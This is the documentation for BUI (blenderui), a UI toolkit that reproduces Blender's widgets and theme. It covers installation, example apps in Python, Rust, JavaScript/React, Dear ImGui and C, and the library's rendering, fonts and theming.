  • Blender's look : Blender's theme colors and metrics with Inter; or, with BUI_IMGUI_BLENDER_WIDGETS=ON , Blender's actual widgets and interaction, pixel-identical to BUI's own.
  • Idle costs nothing : frames run only on input and while something animates.

Native everywhere

  • Native windows on Windows (Win32) and Linux (X11, Wayland through XWayland), and an experimental Cocoa host for macOS ported from Blender's GHOST.
  • HiDPI : per-monitor DPI on Windows, Xft.dpi on Linux, Retina on macOS.
  • Headless mode for tests and screenshots, with a virtual clock that steps animations exactly.
  • On Linux, libX11 and libGL are loaded at run time, so BUI imports on servers without them.

6. A gallery

Every screenshot here is a real BUI window, rendered off-screen. Where an image comes in a dark and a light version, GitHub shows the one that matches your theme.

A Geometry Nodes editor in BUI: seven nodes with typed sockets, colored links and header menus
The node editor, from Python ( examples/site/geometry_nodes.py )

A Shading pie menu open over a node editor The File menu with exp typed: Blender's fuzzy search through submenus
A pie menu, and Blender's menu search (type in any open menu)

Blender's color picker: HSV wheel, value strip, HSV sliders, hex field and eyedropper A tooltip on a Denoise dropdown
The color picker, and a tooltip

CSS effects: filters, clip-path shapes, transforms, blend modes and backdrop-filter on a gradient landscape
CSS effects in Rust: filters, clip-path , transforms, blend modes, backdrop-filter ( site_effects.rs )

A material library laid out with CSS grid: auto-fill columns, spans and dense packing
CSS grid with repeat(auto-fill, minmax()) , spans and grid-auto-flow: dense ( site_grid.rs )

Three moments of CSS keyframe animations: a spinner, a progress sweep, a bouncing ball and a fading toast
CSS @keyframes at 0.25 s, 0.6 s and 1.0 s ( site_animation.rs )

More screenshots

The Rust showcase: a stylesheet, grid cards, Blender form widgets, a table and lists
examples/showcase.rs : HTML + CSS in Rust

Dear ImGui's demo in Blender's theme, with ImGui's own widgets
Dear ImGui's demo with its own widgets, in Blender's theme

Qt syntax on BUI
Qt syntax

tkinter Text with tags tkinter Canvas tkinter messagebox
tkinter programs: text with tags, canvas, dialogs


Part II: Getting started

7. Install

Python. You need CPython 3.11 or newer. Wheels are published for Windows, Linux and macOS, so there's nothing to compile. One package gives you all four Python APIs (tkinter syntax, Qt syntax, the Blender components and Dear ImGui):

pip install blenderui
python -c "import blenderui; print(blenderui.__version__)"

Import it as blenderui . You'll also see import bui in older examples: it's the same code under its original name, but an unrelated project owns bui on PyPI, so prefer blenderui in anything you publish.

Rust. The crate is blenderui on crates.io :

The first build compiles BUI's C kit for you, so you need Rust 1.88 or newer, CMake and a C compiler (on Windows, the Visual Studio Build Tools for the default MSVC target), and on Linux the X11 headers ( libx11-dev or libX11-devel ; no GL headers are needed).

JavaScript. You need Node.js 18 or newer, or Bun:

npm install @blender-ui/react react     # or: bun add @blender-ui/react react
npm install @blender-ui/native          # the DOM-like API, without React

@blender-ui/react @blender-ui/native

The npm packages are prebuilt for Windows x64 . On Linux , build the addon from a clone ( npm install then npm run build in bindings/ , with Rust, CMake and a C compiler); windows are native X11 windows there. On macOS , JavaScript runs headless for now (see Platforms ).

C and C++. Build from source with CMake 3.20+ and a C11 / C++20 compiler (MSVC, GCC or MinGW-w64, or Clang); on Linux, also the X11 headers:

git clone https://github.com/ppmpreetham/BUI && cd BUI
cmake -S . -B build
cmake --build build -j 2
ctest --test-dir build            # optional: run the test suites

In your own CMake project, add BUI as a subdirectory and link bui::kit (or bui::imgui for Dear ImGui):

add_subdirectory(BUI)
target_link_libraries(myapp PRIVATE bui::kit)

Dear ImGui. Python gets it with pip install blenderui ( import blenderui.imgui ). C++ links bui::imgui , C links bui_cimgui . Rust uses the blenderui-imgui crate:

cargo add blenderui-imgui

If something goes wrong:

Symptom Fix
ImportError: buipy You're running from a source checkout without a build. Build first ( cmake --build build ), or set BUIPY_BUILD_DIR . The extension must match your Python version.
The window never appears Start the event loop: mainloop() , app.exec() or App.run() .
Blurry or tiny UI Set BUI_UI_SCALE , for example BUI_UI_SCALE=1.25 .
gpu=True does nothing Run with BUI_GPU_DEBUG=1 to see why the GPU device didn't start. Without Direct3D 11 or OpenGL 3.3, BUI stays on the CPU renderer, which draws the same pixels.

More: docs/getting-started.md and Install BUI on the website.

8. First app: tkinter

Run any tkinter program on BUI without changing a line :

blenderui-tk my_app.py          # same as: python -m bui.tksyntax my_app.py

blenderui-tk makes import tkinter return BUI's implementation for that run. Or opt in from code:

import blenderui.tksyntax as tk
from blenderui.tksyntax import ttk, messagebox

root = tk.Tk()
name = tk.StringVar(value="Cube")
ttk.Entry(root, textvariable=name).pack(fill="x", padx=8, pady=8)
ttk.Button(root, text="Greet",
           command=lambda: messagebox.showinfo("Hi", "Hello " + name.get())).pack()
root.mainloop()

An unchanged tkinter program: a glTF export dialog with entries, checkbuttons, radio buttons, a spinbox, an option menu, a scale and a listbox An unchanged ttk program: a render-farm queue with a combobox, notebook, treeview and progress bar
Unchanged tkinter and ttk programs ( examples/site/tk_export.py , ttk_queue.py )

Number fields ( Spinbox , Scale ) scrub like Blender's, Ctrl+Z / Ctrl+Shift+Z undo edits, and filedialog opens Blender's File Browser. Guide: docs/tkinter.md .

9. First app: Blender components

Build with Blender's own components:

from blenderui.components import App, Panel, NumberSlider, VectorField, Checkbox, ColorSwatch, Button

App("Object", (420, 520),
    Panel("Transform",
          VectorField("Location", (0.0, 1.25, 0.0)),
          NumberSlider("Scale", 1.0, min=0, max=10, on_change=print)),
    Panel("Shading",
          Checkbox("Shadows", True),
          ColorSwatch("Color", (0.8, 0.3, 0.1, 1.0))),
    Button("Apply", on_click=lambda: print("apply")),
).run()

A Render Properties editor built from Blender components: menus, side tabs, panels with header checkboxes, number fields, sliders, dropdowns and a color swatch
A Render Properties editor from the components ( examples/site/render_props.py )

There are 45 components: layout, values, buttons, views, menus and pie menus, the color picker, the color ramp, curve and node editors, areas and templates. Reference: docs/components.md .

10. First app: Qt syntax

Write Qt-style Python. The import is the only line that differs from PySide or PyQt, and neither is needed:

import sys
from blenderui.qtsyntax import (QApplication, QWidget, QVBoxLayout, QFormLayout,
                                QLineEdit, QComboBox, QSlider, QProgressBar,
                                QPushButton, QLabel, Qt)

app = QApplication(sys.argv)
window = QWidget()
window.setWindowTitle("Export")
layout = QVBoxLayout(window)

form = QFormLayout()
kind = QComboBox()
kind.addItems(["glTF", "FBX", "OBJ"])
quality = QSlider(Qt.Horizontal)
quality.setRange(0, 100)
form.addRow("Format:", kind)
form.addRow("Quality:", quality)
layout.addLayout(form)

bar = QProgressBar()
quality.valueChanged.connect(bar.setValue)
layout.addWidget(bar)

status = QLabel("Ready.")
go = QPushButton("Export")
go.clicked.connect(lambda: status.setText("Exporting as " + kind.currentText()))
layout.addWidget(status)
layout.addWidget(go)

window.show()
sys.exit(app.exec())

A material editor in Qt syntax: a list, line edit, group box with a form layout, combo box, slider with spin box, checkbox and progress bar
Qt syntax ( examples/site/qt_material.py )

Qt syntax is partial (about 24% of Qt's method names on the main widget classes); anything missing raises AttributeError . Guide: docs/qt.md .

11. First app: Rust, in rsx and gpui builders

BUI's Rust crate has two first-class syntaxes , and they draw the same window:

  • rsx! is HTML-like markup inside a macro, with #[component] functions and hooks for state.
  • gpui builders are plain method chains: div().flex().gap_3().child(...) . State lives in your view struct, and cx.listener updates it. gpui code compiles against BUI too.

In rsx! (this is bindings/rust/blenderui/examples/hello.rs ; run it with cargo run --release --example hello in bindings/rust ):

use blenderui::prelude::*;

#[component]
fn counter(label: &str) {
    let (count, set_count) = use_state(0);
    rsx! {
        <div flex items-center gap-3 p-4 rounded-xl bg-zinc-800>
            <span text-zinc-300>{label.to_string()} ": " {count().to_string()}</span>
            <div px-3 py-1 rounded-md bg-sky-700 hover:bg-sky-500 onClick={move || set_count(count() + 1)}>
                "Add one"
            </div>
        </div>
    }
}

struct Hello;

impl Render for Hello {
    fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
        rsx! {
            <body m-0 p-6 min-h-screen flex flex-col gap-4 bg-zinc-900 text-white>
                <h1 text-2xl font-bold>"Hello, BUI"</h1>
                <counter label="Clicks" />
                <NumberSlider min={0.0} max={10.0} value="5" />   // a real Blender slider
            </body>
        }
    }
}

fn main() {
    Application::new().run(|cx| {
        cx.open_window(WindowOptions::default(), |_, cx| cx.new(|_| Hello)).unwrap();
    });
}

In gpui builders , the same window:

use blenderui::prelude::*;

struct Hello { count: i32 }

impl Render for Hello {
    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
        let counter = div().flex().items_center().gap_3().p_4().rounded_xl().bg(rgb(0x27272a))
            .child(span().text_color(rgb(0xd4d4d8)).child(format!("Clicks: {}", self.count)))
            .child(div().px_3().py_1().rounded_md().bg(rgb(0x0369a1))
                .hover(|s| s.bg(rgb(0x0ea5e9))).cursor_pointer()
                .child("Add one")
                .on_click(cx.listener(|this, _, _, cx| {
                    this.count += 1;
                    cx.notify();
                })));
        body().m_0().p_6().css("min-height", "100vh").flex().flex_col().gap_4()
            .bg(rgb(0x18181b)).text_color(white())
            .child(h1().text_2xl().font_bold().child("Hello, BUI"))
            .child(counter)
            .child(NumberSlider().min(0.0).max(10.0).value("5"))   // a real Blender slider
    }
}

fn main() {
    Application::new().run(|cx| {
        cx.open_window(WindowOptions::default(), |_, cx| cx.new(|_| Hello { count: 0 })).unwrap();
    });
}

The Rust hello example: a heading, a counter component and a Blender slider

Two small things that trip people up in rsx! :

  • Text children are text ( &'static str , String , SharedString ) or elements. Numbers and borrowed &str props aren't, so write {count().to_string()} and {label.to_string()} .
  • A component's body is a normal block that ends in markup, usually an rsx! .

Here's a bigger example, a render-farm dashboard, written once in each syntax. The two programs draw identical pixels:

A render-farm dashboard: a CSS grid of stat cards, job rows with Blender progress bars, a node list, a dropdown, button and checkbox
site_dashboard.rs ( rsx! ) and site_dashboard_builder.rs (gpui builders)

Guide: docs/rust.md , and the Rust tutorial on the website.

12. First app: JavaScript and React

/** @jsxImportSource @blender-ui/react */
import { render, useState, NumberSlider } from "@blender-ui/react"

function Counter() {
  const [count, setCount] = useState(0) // React's hook, holding a signal
  return (
    <main styled className="p-6 flex flex-col gap-3">
      {" "}
      {/* `styled`: Blender's look */}
      <span>Clicks: {count}</span>
      <button onClick={() => setCount((c) => c + 1)}>Add one</button>
      <NumberSlider min={0} max={10} /> {/* a Blender component */}
    </main>
  )
}

render(<Counter />, { title: "Counter", width: 360, height: 200, gpu: true })
bun app.jsx                    # run it (Bun reads JSX directly)
npx bui build app.jsx          # or ship it: app.exe, one 7 MB file

Without React, @blender-ui/native gives you a DOM-like API:

const { App, signal } = require("@blender-ui/native")

const app = new App({ gpu: true })
const win = app.window({ title: "Hello", width: 360, height: 200 })
win.body.className = "m-0 p-6 flex flex-col gap-3 bg-[#2b2b2b] text-[#e6e6e6]"

const clicks = signal(0)
const label = win.createElement("span")
label.textContent = clicks // follows the signal
const button = win.createElement("button")
button.textContent = "Add one"
button.addEventListener("click", () => clicks.value++)
win.body.appendChild(label)
win.body.appendChild(button)

A task list in React on BUI: a Blender text field, button, checkboxes and a progress bar
A task list in React ( examples/site/js/todo_react.js ); the DOM-like version draws the same

Node.js 18+ or Bun. Prebuilt for Windows x64; on Linux, build the addon from source ( npm run build in bindings/node ) and windows are native. Guide: docs/javascript.md .

13. First app: Dear ImGui

The real Dear ImGui 1.93 runs on BUI: BUI's windows, input, CPU/GPU renderer, Blender's theme and the Inter font. Existing ImGui code compiles unchanged.

C++:

#include "imgui.h"
#include "imgui_impl_bui.h"     // see examples/imgui_demo.cpp

static void frame(void*) {
    ImGui::ShowDemoWindow();
    ImGui::Begin("Hello");
    static float v = 0.5f;
    ImGui::SliderFloat("Value", &v, 0.0f, 1.0f);
    ImGui::End();
}

int main() {
    ImGui::CreateContext();
    ImGui_ImplBUI_App* app = ImGui_ImplBUI_CreateApp("Demo", 1280, 800, frame, nullptr);
    ImGui_ImplBUI_RunApp(app);
    ImGui_ImplBUI_DestroyApp(app);
    ImGui::DestroyContext();
}

Python:

import blenderui.imgui as imgui        # C: cimgui.h  ·  Rust: the blenderui-imgui crate

state = {"value": 0.5}

def frame():
    imgui.show_demo_window()
    imgui.begin("Hello")
    _, state["value"] = imgui.slider_float("Value", state["value"], 0.0, 1.0)
    imgui.end()

imgui.run(frame, title="Hello", size=(1280, 800))

C ( cimgui.h , cimgui conventions: ImGui_Button , ImGui_ButtonEx , and the backend in cimgui_impl_bui.h ) and Rust ( blenderui-imgui ) work the same way:

use blenderui_imgui as imgui;

fn main() {
    let mut value = 0.5f32;
    imgui::run("Hello", [1280, 800], move || {
        imgui::show_demo_window();
        imgui::begin("Hello");
        imgui::slider_float("Value", &mut value, 0.0, 1.0);
        imgui::end();
    });
}

Build with -DBUI_IMGUI_BLENDER_WIDGETS=ON (or the Rust feature blender-widgets ) and ImGui's widgets become Blender's own: DragFloat is Blender's drag-to-scrub number field (Shift for precision, Ctrl to snap), SliderFloat Blender's number slider, checkboxes drag-toggle, menus and combos get Blender's menus. The rest of the ImGui API is unchanged. (The PyPI wheel is built without it, so from Python you get ImGui's own widgets in Blender's theme unless you build from source.)

Dear ImGui's demo window drawn with Blender's widgets
Dear ImGui's own demo with BUI_IMGUI_BLENDER_WIDGETS=ON : number fields, sliders, color rows and panel headers are Blender's

A scene inspector in Dear ImGui with ImGui's own widgets and colors The same inspector with Blender widgets and Blender's style
The same ImGui code: ImGui's widgets (left) and the Blender-widgets build (right) ( examples/site/imgui_inspector.cpp )

Guide, coverage and the stock look: docs/imgui.md .

14. First app: C

The kit's API is one header, kit/include/BUI_kit.h , and it doubles as the reference: every function has a one-line comment. This is a shortened examples/kit_hello.c : a slider and a button in a native window.

#include <stdio.h>
#include "BUI_kit.h"

static void on_event(void *data, BKNode *node, int kind, void *ref, double a, double b)
{
  if (kind == BK_EV_CLICK) printf("clicked %s\n", BK_get_str(node, "text"));
  else if (kind == BK_EV_CHANGE) printf("%s = %g\n", BK_get_str(node, "label"), BK_get_num(node, "value"));
}

int main(void)
{
  BKNode *root = BK_node_new("frame");          /* everything is a node */
  BK_set_num(root, "padding", 8);               /* configured by property name */

  BKNode *size = BK_node_new("slider");
  BK_set_str(size, "label", "Size");
  BK_set_num(size, "max", 10);
  BK_set_num(size, "value", 2.5);
  BK_node_add(root, size, -1);
  BK_geom_set_manager(size, BK_GEOM_PACK);      /* Tk's packer, in C */
  BK_geom_set(size, "fill", 1);

  BKNode *apply = BK_node_new("button");
  BK_set_str(apply, "text", "Apply");
  BK_node_add(root, apply, -1);
  BK_geom_set_manager(apply, BK_GEOM_PACK);

  BKContext *ctx = BK_context_new(root);        /* input, focus, popups, undo */
  BKHost host = {0};
  host.emit = on_event;                         /* the window fills in the rest */
  BK_context_set_host(ctx, &host);

  if (BK_window_supported()) {                  /* Win32, X11 or Cocoa */
    BKWindow *win = BK_window_new(ctx, "BUI from C", 320, 120);
    BK_window_show(win);
    BK_window_run();
    BK_window_free(win);
  }
  BK_context_free(ctx);
  BK_node_free(root);
  return 0;
}
cmake -S . -B build -DBUI_BUILD_EXAMPLES=ON
cmake --build build --target bui_kit_hello

A modifier stack built with the C kit: panels, enum rows, number fields, dropdowns, a slider, checkboxes and buttons
A bigger C program: a modifier stack ( examples/site/kit_modifiers.c )

Without a window system, render into a raster instead ( BK_render(ctx, raster, w, h, full) ), which is also how tests and screenshots work. Guide: docs/c-api.md .


Part III: Concepts

15. How it works

 your code:   tkinter   Qt   components   Dear ImGui (C++/C/Python/Rust)   Rust: rsx! / HTML / CSS / Tailwind / hooks   JS / React
                  │      │        │                │                                  │                                    │
                  └──── Python: options, signals    │ ImGui core + BUI backend          └── style cascade + taffy layout ◄────┘
                                  │                │                                  │
 C kit (kit/):   node tree · geometry · input & interaction · Blender widget drawing · undo · animation · themes · Blender search/expr
                                         │
 renderer:       damage-driven software raster (parallel)   or   GPU (Direct3D 11 / OpenGL 3.3, instanced, opt-in)
                                         │
 window:         native Win32 / X11 / Cocoa window   ·   stdlib Tk window   ·   headless (tests, screenshots)
  1. Your code , in any language above, creates widgets and says what happens when they change.
  2. The kit keeps them in one tree, lays them out and handles input, following Blender's rules.
  3. The renderer draws them, on the CPU by default or on the GPU if you ask.
  4. Damage rendering keeps it cheap: a change redraws only the rectangle it touched, and an idle window uses no CPU at all.

What's under the hood:

  • Blender's real UI code. Widget drawing is a C port of Blender's interface_widgets.cc ( round_box_edges , widgetbase_draw , the shape tables), and interaction follows interface_handlers.cc . Color math, rects, text cursors, string search and expression evaluation are Blender's blenlib , copied in. A few interface files (string search, text-edit undo, float precision) are copied into kit/intern/blender/ and edited for the kit. The X11 and Cocoa hosts follow Blender's GHOST; the Win32 host is BUI's own.
  • One node tree. Every widget is one kit node. The C kit owns layout, hit testing, hover, focus, drags, menus, tooltips, undo and animation.
  • Damage rendering. A change marks only its widget's rectangle, and only changed tiles reach the screen.
  • Thin bindings. Python, Rust and JavaScript keep only what their syntax layer needs.

More: ARCHITECTURE.md and How it works .

16. Blender's widgets and interactions

These rules live in the C kit, so they work the same everywhere Blender widgets are drawn: the Python components, tkinter and Qt syntax, the Rust and JavaScript Blender components and form controls inside styled , ImGui's Blender-widgets build, and every C kit widget.

  • Drag to scrub. Press a number field and drag sideways. The cursor hides and wraps, so you never hit the screen edge, and comes back where the drag started. A float moves one click step per pixel; Shift moves at a tenth of the speed; Esc cancels and restores the value.
  • Ctrl snaps with Blender's rules: unbounded floats to whole units, angles to 10°, sliders to 0.1, 1 or 10 depending on their range, integers to multiples of 10.
  • Click to type , and type math : Blender's expression evaluator ( expr_pylike_eval.cc ) turns 2*pi , 90/4 , min(4, 3) or x if c else y into numbers. This works in Blender number fields and sliders; plain text fields keep what you type as text.
  • Shortcuts on any value: Backspace resets to the default, - negates, Ctrl+Wheel steps, Ctrl+C / Ctrl+V copy and paste, right-click opens Copy, Paste and Reset.
  • Several fields at once. Drag down over a column of number fields to collect them, then sideways to change them together. Drag across checkboxes (or panel headers) to set them all in one stroke.
  • Panels collapse with Blender's animation; Ctrl+click opens one and closes the others; drag the grip to reorder.
  • Menus work press-drag-release or click; hover switches menu-bar menus; pie menus open around the pointer.
  • Menu search is Blender's string search: start typing in any open menu. It matches word initials ("ad cu" finds "Add Cube"), forgives typos, and ranks your recent picks first.
  • Undo everywhere. Ctrl+Z and Ctrl+Shift+Z work on every UI edit, and inside a text field while you type. A burst of typing or a multi-field drag is one step.
  • Float precision follows Blender: small values show the decimals they need.
  • Tooltips appear after Blender's half-second delay.

Coming soon: typing values with units ("2 m"), Blender's search-as-you-type popups, and widget drag and drop. More: Blender's widgets .

17. Three looks: HTML, styled and Blender components

In Rust and JavaScript you pick the look per element:

You write You get
Plain HTML: <button> , <input type="range"> , <select> ... What a browser draws: black text on white and Chrome's form controls, in the Inter UI font
styled on any element: <div styled> , div().styled() Blender's look for it and everything inside: Blender's theme (dark or light), UI font, Blender widgets
Blender components (capitalized): <NumberSlider> , <Button> ... Blender's widgets and interaction everywhere (drag to scrub, Ctrl+Z, Blender's color picker)

The components are Button , Checkbox , Radio , NumberField , NumberSlider , TextField , TextArea , ColorSwatch , Dropdown and ProgressBar . Each one is the HTML element it stands for, so every attribute, style and event works on it:

rsx! {
    <main class="p-4 flex gap-2">                          // browser look
        <input type="range" />                             // Chrome's slider
        <NumberSlider min={0.0} max={10.0} value="2.5" />  // Blender's slider
        <div styled><button>"Apply"</button></div>         // Blender's look inside
    </main>
}
div().child(Checkbox().checked(true)).child(Button().child("Apply"))   // gpui syntax
import { render, NumberSlider, Button } from "@blender-ui/react"
// <NumberSlider min={0} max={10} onChange={...} />, <Button onClick={...}>Apply</Button>
// DOM API: win.createElement("NumberSlider")

Form controls as plain HTML, inside styled, and as Blender components
cargo run --example forms : plain HTML, inside styled , and the Blender components

A form and a table in plain HTML, with a browser's default look The same markup inside styled: Blender's theme and widgets
The same markup, plain (left) and inside styled (right). Plain HTML looks the same in both themes.

Camera properties built from Blender components in Rust: number fields, sliders, a dropdown, checkboxes, a text field, a color swatch, a progress bar and buttons
Blender components from Rust ( site_components.rs )

Python's Blender components ( Panel , PieMenu , the node editor ...) are a separate, larger set.

18. Rendering on the CPU and the GPU

BUI has two renderers, and they draw the same pixels .

  • The software raster ( gpu/intern/gpu_raster.c ) is the default. It draws anti-aliased shapes with signed-distance coverage, like Blender's widget shaders, into one frame buffer, compares it with the last frame in 64×32 tiles, and reports only the tiles that changed. Big canvases draw in parallel bands on Windows ( BUI_RASTER_THREADS ). It needs nothing from your graphics card and uses the least memory.
  • The GPU renderer is opt-in: Direct3D 11 on Windows ( gpu/intern/gpu_d3d11.c ) and OpenGL 3.3 core on Linux ( gpu/intern/gpu_gl.c ). It's modeled on Blender's instanced widget drawing: each primitive is one 128-byte instance of a single uber-shader, so a frame is a few instanced draw calls. Text and images are cached in atlases. Frames render into a persistent target, so only damaged regions redraw; on Windows, a flip-model swap chain presents dirty rectangles. On Linux, libGL , libEGL and libX11 are loaded at run time (GLX for windows, EGL for offscreen), so no GL headers are needed, and BUI falls back to the CPU where OpenGL is missing.

The shaders evaluate the software raster's formulas: the parity test finds 10 of 172,800 pixels that differ by more than 3/255, on both backends.

Turn the GPU on:

Where How
Python bui.set_gpu(True) before creating windows; tkinter syntax also tk.Tk(gpu=True)
Rust Application::new().gpu(true) , or WindowOptions { gpu: Some(true), .. }
JavaScript new App({ gpu: true }) , or React's render(..., { gpu: true })
C BUI_gpu_set_default(1) , or BK_window_set_gpu(win, 1)
Any app, no code change BUI_GPU=1

BUI_GPU=1 overrides the app-wide setting in code; BUI_GPU=0 turns the app-wide defaults off, but a window that asks for the GPU itself still gets it. Where no device can start, BUI quietly stays on the CPU ( BUI_GPU_DEBUG=1 says why).

Which one? A tool window, form or settings panel: the CPU (lightest on memory, idles at zero). A large or HiDPI window, lots of animation, thousands of items: the GPU (about half the CPU per frame, or less, for about 10 MB more RAM plus GPU memory). Servers and tests: the CPU. macOS: the CPU, for now (a GPU renderer there is coming soon).

More: Rendering .

19. Damage rendering

Leave a BUI window open and walk away: it uses no CPU at all. Hover a button, and BUI redraws that button, not the window.

  1. A change marks only its widget's rectangle as dirty (popups get a margin for their shadow).
  2. Dirty rectangles merge (up to 24 per window).
  3. If nothing is dirty, the loop doesn't render; it sleeps until the next input or timer.
  4. Only the dirty regions are redrawn, clipped to their rectangles.
  5. The raster compares the new pixels with the last frame in 64×32 tiles; a redraw that changed nothing reports nothing.
  6. Only damaged tiles reach the screen (Win32 copies them, X11 sends each rectangle with XPutImage , Cocoa invalidates them, the GPU presents dirty rectangles).

On the full component demo, that's about 0.7 ms for a complete frame and about 0.05 ms for a hover or number-scrub frame. Animations run only while something moves, paced to the display. More: Damage rendering .

20. Window hosts

A window host puts a kit context in a top-level window and feeds it input.

Host Where Notes
Win32 ( kit_window_win32.c ) Windows BUI's own host. Per-monitor DPI, vsync-paced animation, clipboard, cursors, window-manager features.
X11 ( kit_window_x11.c ) Linux; Wayland through XWayland Input mapping after Blender's GHOST. Xft.dpi scaling. libX11 is loaded when the first window opens.
Cocoa ( kit_window_cocoa.m ) macOS Experimental. Ported from Blender's GHOST Cocoa code, with Retina scaling. It's checked by CI and has been tried by hand on one Apple Silicon Mac so far; testing notes in docs/macos-testing.md .
Tk Python, anywhere A stdlib tkinter window that shows the kit's frame buffer. BUI_HOST=tk forces it; it's also the fallback where no native host works.
Headless Everywhere No window: render into a raster for tests and screenshots, with a virtual clock that steps animations exactly.

BUI_UI_SCALE=1.5 fixes the UI scale instead of following the display (1 is Blender's default, 20 px widgets). More: Window hosts .

21. Text and fonts

Your app's text looks the same on Windows, Linux and macOS, and it looks like Blender's:

  • Inter , Blender's UI font, is embedded (the variable version, with optical-size and weight axes). UI text is 11 pt at scale 1.
  • Rendered like Blender's BLF : BUI vendors FreeType 2.13.3 and renders with light hinting, Blender's gamma-1.43 coverage table, Inter's optical size, a real bold instance, no kerning (as in Blender), and Blender's text shadows. With BUI_TEXT_FREETYPE=OFF , stb_truetype rasterizes instead.
  • On the GPU , glyphs are drawn from their outlines with Slug by default, or from a per-glyph atlas like Blender's ( BUI_SLUG=0 , bui.set_slug(False) , .slug(false) , BUI_gpu_set_slug(0) ).
  • Other fonts : BUI_FONT=path.ttf replaces Inter, BUI_FONT_DIR adds a folder to search first, blenderui::add_font (Rust) and BUI_text_add_font (C) register faces from memory, and CSS @font-face loads local files.
  • Windows' GDI text is opt-in ( -DBUI_TEXT_GDI=ON , Rust feature gdi-text ): ClearType-style hinting and system fonts, without Slug.

Limits worth knowing: no per-glyph font fallback yet (missing characters show as boxes), no IME, right-to-left text is reordered but not shaped, no OpenType features. Font fallback and IME are coming soon. More: Text and fonts .

22. Themes: dark and light

BUI looks like Blender because it uses Blender's theme. It ships two: Blender's Dark theme (the default) and its Light preset. Both are generated by tools/gen_theme.py from Blender's own Blender_Dark.xml and Blender_Light.xml presets, over Blender 5.x's built-in defaults. Switch at run time, and every open window relayouts and redraws:

Where Light theme
C BK_set_theme("light") ; BK_theme_name() , BK_theme_color("region_bg", rgba)
Python blenderui.set_theme("light") (also switches the Dear ImGui extension); theme_name() , theme_color(key)
Rust blenderui::set_theme("light") , or Application::new().theme("light") ; theme_name() , theme_color(key)
JavaScript new App({ theme: "light" }) , app.setTheme("light") , or React's render(..., { theme: "light" })
Dear ImGui Its Blender style follows the kit's theme (pick it before the backend starts)
Any app, no code change BUI_THEME=light (or dark )

Widgets, panels, the region background, the styled HTML sheet and ImGui's Blender style all follow the theme. Plain HTML keeps a browser's look either way. Inside each theme you can still color things yourself: bg / fg in tkinter, setStyleSheet in Qt syntax, color= on components, full CSS on HTML in Rust and JavaScript, ImGui's own style colors.

BUI also includes Blender's icons: all 781 of Blender's SVG icons, rasterized with Blender's NanoSVG code so they're sharp at any scale. Use them by Blender's name: Button("Add", icon="ADD") , EnumRow(..., icons=[...]) .

Coming soon: loading any Blender theme file, beyond Dark and Light. More: Theming .


Part IV: Guides by language

23. Python

pip install blenderui gives you four APIs in one package:

  • tkinter syntax ( blenderui.tksyntax ): every public tkinter and ttk name (7,846 of 7,846). Run existing programs with blenderui-tk app.py , or call blenderui.tksyntax.install() first. messagebox and simpledialog are Blender-styled, colorchooser is Blender's color picker, and filedialog is Blender's File Browser ( BUI_FILEDIALOG=native for the OS dialogs). Look-only Tk options ( relief , ttk.Style ...) are accepted, but the look comes from Blender's theme. Guide: docs/tkinter.md .
  • Qt syntax ( blenderui.qtsyntax ): widgets, layouts (box, grid, form, stacked), signals, QPainter , menus, timers and animations, QFileDialog as Blender's File Browser. Partial: model/view classes, docks, toolbars, splitters and Qt stylesheets are missing. Guide: docs/qt.md .
  • Blender components ( blenderui.components ): 45 components, from NumberSlider to NodeEditor . Reference: docs/components.md .
  • Dear ImGui ( blenderui.imgui ), pyimgui-style. Guide: docs/imgui.md .

You can mix them in one process: windows, timers and the event loop are shared ( bui.host ). Every interaction runs in C, so tests can drive widgets headless. On the website: tkinter , Qt syntax , components , headless testing .

24. Rust

The blenderui crate is a web-like framework drawn by BUI: every HTML element, CSS, Tailwind, HTML-like markup ( rsx! / view! ) or gpui-style builders, components and hooks. A taste:

rsx! {
    // Tailwind as attributes, any variant, arbitrary values; typos fail to compile
    <button px-3 py-1 rounded-md bg-zinc-800 hover:bg-sky-600 md:dark:hover:bg-sky-400
            active:style="transform: scale(0.97)" onClick={move || save()}>
        "Save"
    </button>

    // control flow right in the markup
    <ul>{for item in items { <li class="py-1">{item}</li> }}</ul>
    {if dirty { <p text-amber-400>"Unsaved changes"</p> }}

    // real CSS, evaluated by the engine
    <div style="width: calc(100% - 2 * var(--gap)); background: color-mix(in oklch, var(--brand) 60%, white)" />
}
error: rsx!: `bg-sky-50O` is not a Tailwind utility; did you mean `bg-sky-500` or `bg-sky-50` or `bg-sky-100`?

What's in the box:

  • Layout by taffy : block flow and wrapping text, flexbox and grid (every property, including grid-template-areas and named lines), tables, relative / absolute / fixed positioning (fixed boxes are placed against the window), scrolling, and bidirectional text.
  • CSS : selectors level 4, nesting, @layer / @media / @supports / @scope / @container / @font-face / @property , var() and env() , every math function, CSS Color 4 and 5.
  • Effects and animations : @keyframes animations and transitions (every longhand, cubic-bezier() , steps() , linear() , interruptible transitions), filter and backdrop-filter , mix-blend-mode , clip-path , masks, 2D transforms, border-image . Frames render only while something moves, and headless windows step a virtual clock ( App::advance_clock ).
  • Tailwind CSS v4 , compiled on first use, with compile-time checks in rsx! and tw! .
  • Components and hooks in zopra, React or Leptos style, with optional props and keys.
  • Blender components , styled , and the theme .
  • Headless testing : Application::headless() , screenshots, simulated input.

Not yet: async resources ( use_resource ), generic components, 3D transforms, OpenType features, multi-column layout. Guide: docs/rust.md , crate README: bindings/rust/blenderui , and the website's Rust section (including effects and animations ).

25. JavaScript and React

  • @blender-ui/react : a React 19.3 renderer. HTML host components, CSS and Tailwind, events, Suspense, transitions, actions, and the Blender components. Hooks keep React's names but hold signals: pass one into JSX and a change updates that node without re-rendering. README: bindings/react .
  • @blender-ui/native : a DOM-like API ( createElement , appendChild , addEventListener , className with Tailwind, style ) with signals, memo , effect and batch . README: bindings/node .
  • How it's fast : BUI renders on its own UI thread, so it never blocks JavaScript; each tick sends one batch of changes; styles are parsed once.
  • Standalone apps : npx bui build app.jsx makes a ~7 MB executable with an embedded QuickJS engine; --bun makes a Bun executable instead; npx bui run app.jsx runs on QuickJS without building.
  • Tests : new App({ headless: true }) renders off-screen, and win.click(x, y) simulates input.

Limits: npm packages are prebuilt for Windows x64 only; events reach JavaScript after BUI handled them (no native preventDefault ), and event.target is the deepest listening element. Guide: docs/javascript.md ; website: React , native API , signals , standalone executables .

26. Dear ImGui

Language What you use Built by
C++ imgui.h + imgui_impl_bui.h CMake target bui_imgui ( bui::imgui )
C cimgui.h + cimgui_impl_bui.h CMake target bui_cimgui
Python import blenderui.imgui as imgui The _buiimgui extension, in the wheel
